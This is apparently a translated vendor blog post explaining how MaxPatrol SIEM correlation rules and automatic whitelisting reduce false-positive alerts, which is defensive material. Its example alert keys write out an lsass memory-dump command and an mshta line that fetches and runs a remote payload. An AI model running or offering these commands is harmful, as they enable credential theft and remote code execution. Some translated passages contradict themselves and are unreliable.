Hello friends! Welcome to this series on the challenges faced by users of attack detection and defense systems. This is the first article in the series. In this article, we will explore the secrets of attack detection related to SIEM solutions (Information Security Event Monitoring and Event Detection System, security information and event management ), how PT Expert Security Center (PT ESC) can help MaxPatrol SIEM expertise and how it can help detect attacks, and share our experience dealing with related rule triggers.
The role of expertise in technology
All functions and inspection packages of MaxPatrol SIEM ( 35 packages and more than 540 attack detection rules) were developed with the direct participation of PT ESC experts. We do this by researching and finding new TTPs (Adversary Tactics, Techniques, and Procedures) and IoAs (Indicators of Attack), using TTPs and IoAs identified in customer incident response , collaborative network training, and internal interactions with red teams ( purple teaming ).
Some of the methods we offer are unparalleled: for example, automatic whitelisting (adding to the list of allowed activities) and exception templates (adding to exceptions by clicking on the event card). All our efforts were made to ensure that users without in-depth expertise can apply Positive Technologies ' expertise to quickly identify attackers.
The expertise package is not only the classic rules for identifying TTP attackers, but also various chips, rich content, machine learning and other mechanisms. Not only do they help in the quick detection of attackers, but they also allow for contextualization of the attack in time to allow for a high-quality rapid response (one of, if not the main, core SecOps processes). That's what we're going to talk about next.
basic terms
To help you better understand our approach to attack detection and alerting, let's use MaxPatrol SIEM as an example, starting with some basic terminology and the names of key taxonomy areas.
An interactive attack is the actual activity of the attacker, as opposed to an automated attack, in which case he needs, for example, to analyze the company's internal infrastructure, obtain credentials, take steps to move laterally in the network.
The purpose of the detection mechanism is to detect interactive attacks aimed at achieving invalid events.
alert.key is a field or concatenation of taxonomy fields on which atom detection is based. Each related rule has its own key.
For example, the ProcDump_Usage related rule is triggered if the ProcDump utility pattern for dumping memory of other processes is present in the command line of a running process. Its trigger key — $alert.key = C:\Windows\Temp\proc.exe -accepteula -ma lsass.exe \windows\temp\kernel.dmp . For rules that detect code execution via mshta MSHTA_AWL_Bypass, alert.key is Connection of the parent process name to the command line of the executing process: $alert.key = cmd.exe | C:\Windows\System32\mshta.exe vbscript:close(execute("getobject(""script:https[:]// 10.0.10.10/payload[.]sct "")")).
Every association rule in MaxPatrol SIEM contains a key taxonomy field around which the mechanisms described below are built.
Figure 1. Example of alert.key for rule MSHTA_AWL_Bypass
alert.context - Other non-critical fields that are necessary for the analyst to fully understand what happened and what the rule triggered.
For example, the alert.context field of the same MSHTA_AWL_Bypass rule would be the name of the HTA file that was triggered.
Figure 2. Example alert.context for the MSHTA_AWL_Bypass rule
Consider a scenario where you are viewing related rule triggers by grouping them by some taxonomy field. Assuming you have sorted your triggers by correlation_name and selected the above fields in select. Then you can watch many events in seconds without looking at event cards and see what interests you.
Figure 3 : A quick analysis of the alert.key trigger
The " noise" of false positives
It is possible to write only one rule and detect most actions of hackers. However, let's answer the question: How many of these actions actually indicate an online attack? Here we encounter the main challenges of SIEM in attack detection: insufficient built-in expertise, false positives (false positives, false negatives) and lack of effective mechanisms to deal with them, requiring automation of repetitive tasks. Addressing these issues will help identify real events faster and with higher quality.
Regardless of protection level, the "noise" of false positives is a key challenge for analysts. Professionals get annoyed by alerts and miss attacks because of it.
Types of Association Rules
How many interactive attack incidents actually occur in a typical infrastructure—daily, monthly, yearly? The chances of a particular endpoint being interactively attacked are now very low. However, association rules continue to work. why?
There are two types of correlation rules. The first type is precise rules whose logic involves identifying TTPs through specific patterns. A simple example is identifying hacking tools by their names. Precise correlation rules are characterized by very few false positives. But what is even scarier for us is that they have a lot of false positives, which means they are easy to evade detection.
The second category is correlation rules, which are characterized by a large number of false positives, but more importantly, few false negatives. Often, the attacker's activities are indistinguishable from those of administrators and users, as well as legitimate software. It can hide in the millions of daily events generated by security logs. A second type of association is used to detect this activity.
The likelihood of an interactive attack is very low, but it exists, so you need to be prepared for it. Dealing with false positives is much more complex, time consuming and expensive. It is necessary to handle them and alerts in general as automatically as possible. We try to shift the operator's attention from routine tasks to proactive threat hunting and use other features of SecOps: Maximum context in triggers, rich data from internal or external services, including data from machine learning, white The automation of the list mechanism also includes the application of ML, a convenient and efficient threat hunting mechanism.
Consider solutions that minimize false positives and false negatives and help operators quickly identify whether they are dealing with an event or a false positive.
Automatic Whitelist
Remember the idea that the number of interactive attacks in your infrastructure was low or approaching zero, and manually handling cases of false positives was time-consuming and uninteresting? We now recommend starting from this paradigm: any duplicate alert that triggers the relevant rule for the second, third, or subsequent (whichever is closer to you). key, is considered a priori to be a false positive -- unless explicitly Point out that it needs to be repeated in the future.
When a related rule is triggered, the triggered pattern, variable $alert.key, is written to the temporary table list Common_whitelist_auto_swap. It has a counter specifying how many times the rule with $alert.key was fired. If a rule is triggered at least twice (any threshold can be set), it and the key are entered into the specific_value column of the table list Common_whitelist_auto. The rule then compares the values of $alert.key and $specific_value, and if they match, no triggering occurs (it is "whitelisted").
Disadvantage of this approach: If the operator does not see the relevant rule for the trigger, and does not process the alert, then the next time such a trigger will not occur again (but in any case, according to the thresholds set in the schedule list, there will be several triggers).
Figure 4 : Example of automatic whitelisting
Using this approach, the operator doesn't need to do anything with the alert (except in the case where the trigger is indeed an event and needs to be handled). If a duplicate $alert.key is encountered, everything will "whitelist" itself (see Figure 8, workflow with alert whitelist).
template
A template is a mechanism by which any field or concatenation of them can be added to an alert card's UI on click, for whitelists, blacklists, IoCs, etc. It is essential when you need to "whitelist" fields not provided in $alert.key or concatenation of any other taxonomy fields. Templates specify taxonomy fields for each event type involved in correlation, and correlation rules already include mechanisms for whitelisting added fields. This mechanism is available to MaxPatrol SIEM users.
Figure 5. Example of whitelisting by template
Common_whitelist_regex
The above exceptions only apply to exact matching taxonomic fields. "What about when we need to 'whitelist' via regex?" - you ask. Whitelists and regex blacklists are designed for situations where the taxonomic domains you want to exclude change constantly in repeated triggers. The mechanism uses the Common_whitelist_regex and Common_blacklist_regex table lists: they contain regular expressions that you want to exclude or add to the blacklist. This mechanism also already exists in MaxPatrol SIEM, and you can take advantage of it.
Figure 6. Example of Common_whitelist_regex table format list entry
However, operators must constantly analyze triggers that cannot be "whitelisted" automatically, manually generating regular expressions and adding them to the table list. This takes up a lot of time that could be spent on threat hunting or researching new threats.
Automatically generate regular expressions
Machine learning (i.e. automatic generation of regular expressions based on searches for similar events) used in conjunction with other whitelisting mechanisms can help reduce the burden on analysts by automating routine tasks.
Figure 7 : Based on the clustering of similar events, an example of ML application that automatically generates terms
Let us now consider the processing scenario for triggering association rules.
Figure 8. Workflow with alert whitelist
We monitor current attack detection trends, continually improve our defenses and develop new capabilities. Our goal is to make life easier for users who monitor information security incidents on a daily basis.
Thanks for reading to the end, we hope this material and our experience will help you detect bad actors in your infrastructure better and faster.